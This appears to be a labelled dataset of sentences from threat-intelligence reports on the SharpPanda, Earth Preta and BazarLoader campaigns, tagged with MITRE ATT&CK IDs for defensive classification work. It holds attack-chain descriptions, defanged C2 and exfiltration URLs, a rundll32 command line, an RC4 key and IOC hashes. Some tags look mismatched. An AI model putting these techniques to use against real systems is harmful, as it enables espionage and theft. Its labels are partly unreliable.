{"sentence": "Member countries of the G20 include Argentina, Australia, Brazil, Canada, China, France, Germany, India, Indonesia, Italy, Japan, Mexico, Russia, Saudi Arabia, South Africa, South Korea, Turkey, the United Kingdom, and the United States.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Together, these nations represent a diverse range of economies, constituting a significant share of global GDP and population.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The G20 holds annual summits where leaders convene to discuss and coordinate security, economic, and financial policies.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "In its latest campaign, the SharpPanda APT group employs a forged document linked to G7 to target various governments within the G20 forum.", "labels": ["T1566.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The delivery mechanism of the SharpPanda APT attack via a spam email is illustrated in the figure below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 1 – Infection chain Technical Details Initial Infection", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The infection process initiates through a spam email comprising an attached MS Office document named “[FINAL] Hiroshima Action Statement for Resilient Global Food Security_trackchanged.docx.”", "labels": ["T1566.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "These emails, with the subject line “[Sending Finalized Text] G7+Partners FASS Meeting,” are distributed to multiple employees within government entities across G20 countries, as shown in the figure below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 2 – Spam email containing malicious doc attachment", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The emails contain weaponized versions of seemingly genuine official documents, which employ the remote template injection method to retrieve the next stage of the malware from the TA’s Command-and-Control (C&C) server.", "labels": ["T1055"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The attached document in the spam email is shown below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 3 – Opened document attachment from spam email Upon opening the document, it initiates the download of a new payload from the attacker’s remote server (hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]res), which is RTF file serving as the next-level payload.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 4 – Payload URL present inside the XML file of the malicious document The RTF file is weaponized using a tool called RoyalRoad.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This tool enables the TAs to create customized documents containing embedded objects that exploit vulnerabilities in Microsoft Word’s Equation Editor.", "labels": ["T1027", "T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "RoyalRoad leverages a specific set of vulnerabilities, including CVE-2018-0802, CVE-2018-0798, and CVE-2017-11882, within the Equation Editor of Microsoft Office.", "labels": ["T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The TAs integrate anti-analysis and anti-debugging techniques into their loaders to avoid being detected while also utilizing the older Equation Editor exploits.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The RTF file includes both an encrypted payload and shellcode.", "labels": ["T1027"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Once the RTF file is executed, it proceeds to decrypt and drops an embedded payload, which is a DLL file saved under the name “c6gt.b” in the %temp% directory.", "labels": ["T1027", "T1140"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "After decryption, the shellcode facilitates the establishment of a persistence mechanism.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "It achieves this by creating a scheduled task entry, which executes the export function “StartA” from the DLL “c6gt.b” using rundll32.exe on a daily basis.", "labels": ["T1053.005", "T1106", "T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The figure below illustrates the presence of embedded content within the RTF document.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 5 – Embedded payload in RTF file Once the persistence is established, the RTF file proceeds to execute the downloaded DLL payload by utilizing the “rundll32.exe” command as follows:", "labels": ["T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "rundll32.exe C:\\Users<Admin>\\AppData\\Local\\Temp\\c6gt.b StartA DLL Downloader (“c6gt.b”)", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The DLL file’s original name is “Downloader.dll.”", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "It contains four export functions, as depicted below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 6 – Export functions of the DLL loader When the loader is executed through rundll32.exe, it collects various data from the victim’s computer.", "labels": ["T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This includes the hostname, operating system name, OS version, username, Internet information, as well as the presence of any installed anti-virus software on the machine.", "labels": ["T1016", "T1082", "T1518.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Subsequently, the loader encrypts the collected information using RC4 encryption with the key “xkYgv127” and encodes it using base64.", "labels": ["T1027"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The encrypted data is then exfiltrated using the below C&C URL: hxxps://13[.]236[.]189[.]80:8001/G0AnyWhere_up[.]jsp?Data=[redacted] The figure below illustrates the exfiltrated data sent to the C&C server, as well as the decrypted/decoded stolen information obtained from the victim’s machine.", "labels": ["T1041", "T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 7 – Exfiltrated data to C&C server Final Payload Once the victim’s information is sent to the remote server, the TA checks the information.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "If they deem the victim’s machine to be intriguing, the C&C server responds with the next stage executable.", "labels": ["T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "During the final phase of the infection chain, the malicious loader in the SharpPanda APT campaign is specifically designed to download a backdoor module.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "However, during our analysis, no response was received from the remote server.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "In previous SharpPanda APT campaigns, the loader establishes a connection with a C&C server in the final stage of the attack.", "labels": ["T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Subsequently, it downloads and executes a malicious backdoor.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "With its extensive capabilities, this backdoor possesses the ability to perform a variety of operations, including: Capture screenshots of victims’ system Obtain information about processes and services running on the machine Create or terminate processes Delete/Create/Rename/Read/Write files and retrieve file attributes Retrieve TCP/UDP tables Retrieve information about registry keys Obtain titles of all top-level windows Trigger a shutdown of the targeted computer Gather computer-specific information such as computer name, username, gateway address, network adapter details, Windows version, and user type Conclusion The SharpPanda APT group is comprised of exceptionally sophisticated cyber-TAs who execute targeted and extended attacks against specific targets, including governments, organizations, and industries, with the objectives of spying, disruption, or monetary gain.", "labels": ["T1012", "T1016", "T1057", "T1082", "T1113"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "SharpPanda has been associated with multiple cyber espionage campaigns, employing strategies such as spear-phishing, manipulation through social engineering, and exploiting zero-day vulnerabilities to gain illicit access to networks.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Previously, this group has been observed targeting government officials, particularly in Southeast Asian countries.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "However, as evidenced in this recent campaign, their focus has shifted to high-level government officials from G20 countries in Europe, North America, and South Asia.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The APT group consistently adapts its techniques and incorporates new tools into its arsenal as it evolves.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "CRIL actively monitors the latest APT attacks, phishing attempts, and circulating malware strains, consistently releasing informative blog posts that offer valuable insights and practical guidance to safeguard users against these widely recognized attacks.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "We recommend that our readers follow the best practices as mentioned below: Avoid downloading pirated software from warez/torrent websites.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The “Hack Tool” present on sites such as YouTube, torrent sites, etc., mainly contains such malware.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Use strong passwords and enforce multi-factor authentication wherever possible.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Turn on the automatic software update feature on your computer, mobile, and other connected devices.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Refrain from opening untrusted links and email attachments without first verifying their authenticity.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Educate employees on protecting themselves from threats like phishing/untrusted URLs.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Block URLs that could be used to spread the malware, e.g., Torrent/Warez.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Monitor the beacon on the network level to block data exfiltration by malware or TAs.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Enable Data Loss Prevention (DLP) Solutions on the employees’ systems.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name Initial AccessT1566Spear-phishing AttachmentExecution T1204 T1203User ExecutionExploitation for Client ExecutionPersistenceT1053Scheduled TaskDefense EvasionT1497T1027Virtualization/Sandbox EvasionObfuscated Files or InformationDiscovery T1082 T1518T1016System Information Discovery Security Software DiscoverySystem Network ConfigurationCollectionT1006Data from Local SystemCommand AndControlT1065 T1071", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "T1105Uncommonly Used PortApplication Layer ProtocolIngress Tool TransferIndicators Of Compromise IndicatorsIndicator TypeDescriptionf39442edc4a96ce729e50f66901263e1734b1cd163937e9509ea616f5f7ff8870f7be8e51fb22c38c781495018deda70af49bda17269203547620c140ee9eee68cecc016MD5SHA1SHA256Spam email ea889308acb4249af92807cc7d70f08492c8f9ea9b6555e1b9c42cd7302f7caf62eb83e657b64a1ef1b04819ca9473e1bb74e1cf4be76b89b144e030dc1ef48f446ff95bMD5SHA1SHA256Documentattachment 92d994be99ea43c121ac4f4ddfacbf75f14afd2856dab6183150f6e269f5bb6f4a2e3f50180f5a0f9210698b54dcafb9a230b12e3eaf199889e5377a2acb7124c2d48d69MD5SHA1SHA256RTFdocument 09bf850be5da44a1c3629a1f62813a83a4e89d1f060e4dfd5f0fd4e7ba8be96967b39ac721f173a347ed111ce67e4c0f2c0bd4ee34bb7ca765da03635ca5c0df394cd7e6MD5SHA1SHA256DLL loader hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]resURLRTF payloaddownload13[.]236[.]189[.]80:8000IP: PortC&C", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "APT & Targeted Attacks Earth Preta’s Cyberespionage Campaign Hits Over 200", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We present a case study of the cyberespionage efforts by Earth Preta.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This study on an active campaign delves into the structure, goals, and requirements of the organizations involved, and provides an opportunity to conduct wider intelligence analysis and insights in the development of effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "By: Trend Micro March 27, 2023Read time: ( words) Save to Folio Subscribe Since 2022, we’ve been following a series of cyberespionage efforts carried out by multiple groups carried from an old campaign.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "It combines the collective activities carried out by subgroups of advanced persistent threat (APT) group Earth Preta (also known as Mustang Panda), representing a comprehensive network of operations for gathering sensitive information from various entities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "An analysis of their deployments also revealed a level of coordination and collaboration.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Through extensive analysis and as of this writing, we discovered over 200 victims, leading to a wider intelligence analysis of the groups’ goals, different operation groups, and tactics, techniques, and procedures (TTPs).", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Our study aimed at understanding the different phases and facets involved in this operation, shedding light on the motives and techniques used by Earth Preta to provide valuable insights and aid in the development of effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Key findings While not exhaustive of the entire study’s findings due to security and confidentiality concerns, we determined the following findings key to the entire research:", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "A hierarchical structure.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta has a centralized development unit that produces the implants and tools, and disseminates them to other operational groups responsible for penetration and implantation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This is evident in the Earth Preta group as it appears that multiple sub-operational groups use the same toolset with different techniques.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "A management of expertise.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The different operational groups manage their own methods of entry and privilege escalation, demonstrating a high degree of specialization within each group.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "A change in targets.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Towards the end of 2022, there were changes in how information was collected.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The latest active targets were related to maritime, shipping, border control, and immigration agencies.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Prior to this shift, most of the data collection efforts were aimed at academic institutions, ore and material refineries, specialized fabrication plants, financial institutions, and energy production and distribution.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "These key findings can help intelligence communities and decision-makers in understanding Earth Preta’s capabilities, objectives, and impact on international security and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "With this entry, we hope to emphasize the importance of international cooperation in combating this significant threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Method and findings We found that some operational part of the collective group were focused on stealing intellectual property and sensitive business information, while others targeted government and diplomatic entities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We also found the operations having specific geographical regions for which they tailored their collection requirements.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta’s top 10 targeted industries We used a qualitative approach to identify the collection requirements, methods, and objectives of the operational groups and their respective places in the organization.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We established links between the operational threat groups by grouping overlaps in victimology and identifying core indicators, such as implants or payloads. Figure 2.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta’s targeted regions Case studies Overlaps Throughout our investigation, we observed several instances where victims were compromised by two groups simultaneously, indicating possible overlaps in collection requirements between these groups.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "While there are no indications of overlaps in individual devices, there are strong indications of targets intersecting, suggesting these groups are pursuing similar objectives.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Additionally, the overlaps among victims indicate a lack in targeting coordination and/or planning within the overall groups' leadership or management.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "These targeting overlaps have been observed in multiple groups, such as Groups 724, 1358, and 5171.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Since these groups operate across a variety of sectors, it is likely that the overlap in collection requirements is the result of similar objectives rather than coordination between the toolset and collected materials.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "However, we have not been able to identify any evidence of coordination between these groups or a shared toolset.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Infection and exfiltration vectors Group 5171's exfiltration methods are sophisticated and designed to avoid detection.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Several victims in key countries, such as Singapore, Vietnam, Netherlands, Ghana, and Myanmar, have indications of files exfiltrated via a dedicated USB mass storage device.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "For instance, in January 2023, a device from Vietnam loaded the Adobe CEF Helper under the path <C:\\Users\\XXX\\AAM", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "UpdatesXXX\\AAM Updates.exe>", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "and exfiltrated documents to drive F:.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The same device also carried out another collection in December 2022, where data was copied from folder <C\\:$RECYCLE.BIN\\S-XXXXX$XXXH.pdf>, indicating that the user deleted the collected data.", "labels": ["T1070.004"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Roaming endpoint attacks In contrast to Group 5171, Group 1358’s uses malicious USB mass storage devices as its primary method of compromise.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Our analysis indicated that toward the end of 2022 and early 2023, all documented intrusions from Group 1358 used USB mass storage devices.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "In addition, there were multiple instances where initial compromise occurred while the assets of the target were roaming abroad through a technique known as the “traveling laptop attack.”", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Small sample of Earth Preta’s traveling laptop attack deployments and victims APT subgroups responsible for attack Victim organization’s industry, country Country where attack was deployed from Group 724 Maritime, Australia Papua New Guinea Group 1358 Construction, France Togo Group 5171 NGOs, Africa N/A This mix of traditional intelligence trade craft and cyber techniques could mean that these groups have access to advanced resources and support from nation states, since such techniques are not typically available to independent hackers.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Moreover, this approach could signify the growing convergence of cyber- and physical security as cyberattacks continue to move beyond digital systems and into the physical world.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Operation groups While this is not a comprehensive list, we summarize and attribute the operational functions to specific groups as contributing units to Earth Preta’s cyberespionage activities and deployments.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "As we continue following this campaign and track its activities, these group names will be updated accordingly once analyses and attribution are confirmed.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 724 Group 724 is possibly related to Earth Preta.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group utilizes sideloading with Adobe CEF Helper to establish a persistent foothold in the user's home directory, employing a naming convention with one of the following patterns: AcroRD32XXX AAM UpdatesXXX AcrobatXXX Eset Malware ProtectionXXX \"XXX\" denotes three random letters.", "labels": ["T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group uses a USB drive as an entry point into a target's system, indicating its preference for leveraging physical vectors for intrusion.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This group is considered one of the most dangerous in the Southeast Asian region and has been known to target a myriad of organizations.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 724 also appears to be focused on compromising targets in specific industries and countries.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group has been observed targeting sectors such as finance, government, manufacturing, fabrication, construction, energy, transportation, air traffic, and food production.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This targeted approach indicates that the group has developed a clear understanding of the vulnerabilities and high-value assets present in these industries.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The significant level of proliferation suggests that it is well-funded and includes a large team of skilled individuals, likely enabling it to carry out attacks on multiple targets simultaneously.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group uses customized USB storage devices tailored to individual targets as part of their intrusion tactics.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "These customized devices appear to be carefully crafted to bypass security measures and appear legitimate to the target.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "With this preference for a physical entry vector, the group can increase the chances of a successful intrusion and maintain its covert operations.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique highlights the level of sophistication and planning that goes into Group 724's attacks.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 1358 Group 1358 is a highly sophisticated threat actor that employs advanced tactics and techniques to infiltrate and compromise a wide range of targets worldwide.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group has been observed utilizing Avast’s WSC DLL for sideloading, a technique leveraging the Windows Management Instrumentation (WMI) service to execute malicious code.", "labels": ["T1047", "T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This group is potentially composed of several operating groups utilizing the same tools and techniques.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Persistence is established at ProgramData\\AvastSvcXXX, where \"XXX\" represents three random letters.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group uses generic USB mass storage devices as an entry point, suggesting that they prioritize ease of access over customization.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This group’s choice of malware is PlugX, an older and well-known remote access tool.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Despite its age, PlugX remains an effective tool for threat actors due to its flexibility and evasion capabilities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group's victimology is extensive, targeting organizations across various sectors globally.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "However, recent observations suggest that the group has shifted its collection efforts towards maritime-related information since December 2022.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Targets have included shipping information, sea vessel movements, border and immigration control, export-related government agencies, food production, and humanitarian groups.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "While some of the targets are related to maritime research and development, most of the information we found as targeted pertain to operational maritime information, even to the extent of compromising specific vessels or tugboat companies.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Exfiltration methods utilized involve the use of USB sticks that are plugged in, enabling the PlugX tool to copy all collected data into a previously known and expected USB stick.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique allows the group to remain undetected and avoid detection by traditional security measures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 5171 Group 5171 is a threat actor that utilizes advanced techniques to infiltrate and compromise targets across the Middle East and Europe.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group uses DLL sideloading with Adobe CEF Helper and establishes persistence in the RECYCLERS.BIN folder.", "labels": ["T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "In addition, the group also employs USB-based data exfiltration as part of their tactics.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 5171 differentiates itself from other threat actors with their use of the travelling laptop attack.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique involves infecting a laptop with malicious code in transit.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Usually, the device will be travelling as part of a routine work travel and upon return to the origin country, a more elaborate exploitation and lateral movement can be initiated.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This method allows the group to bypass traditional security measures and gain access to their targets undetected.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Sectoral targets of Group 5171 are spread out, indicating that the group does not focus on specific sectors but rather adopts a more opportunistic approach.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "However, observing victims’ business verticals and sectors indicate that Group 5171’s collection efforts show a high level of interest in research and development related to IT solutions, materials manufacturing and fabrication, energy production and synthetization, air travel, and space.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Conclusion We deem the findings of this research on Earth Preta’s cyberespionage operations have significant implications for international security and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "There are strong indications of intertwined traditional intelligence tradecraft and cyber collection efforts, indicative of a highly coordinated and sophisticated cyberespionage operation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We identified several distinct operational groups, each with unique TTPs and objectives, which reveals a highly specialized and organized cyberespionage operation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This study also suggests that Earth Preta’s cyberespionage operations have a broad reach and have the capacity to target high value targets.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The shift in collection priorities toward intelligence regarding specific areas also indicates that Earth Preta is targeting critical infrastructure and key institutions that can affect national and international relations, economies, and securities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Given the scale and sophistication of Earth Preta’s cyberespionage operations, the international community needs to take proactive measures to defend against this significant threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This includes robust cybersecurity measures, effective countermeasures against cyberespionage, and increased international cooperation in combating this threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The international community must raise awareness on the threats posed by Earth Preta’s cyberespionage operations, promote information sharing, and develop effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "It is essential to have a coordinated response to this threat, with the support of the private sector, academia, and civil society, to ensure the safety and security of critical infrastructure and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "For a list of the IOCs, download the appendix here.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Authors Trend Micro Research, News, and Perspectives", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign by Lilly Chalupowski | Feb 1, 2021 Our Inbox Detection and Response (IDR) team has observed a new BazarLoader campaign targeting the information technology, aeronautic and financial industries.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The IDR team has successfully blocked over 550 thousand BazarLoader malspam emails throughout this campaign alone.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
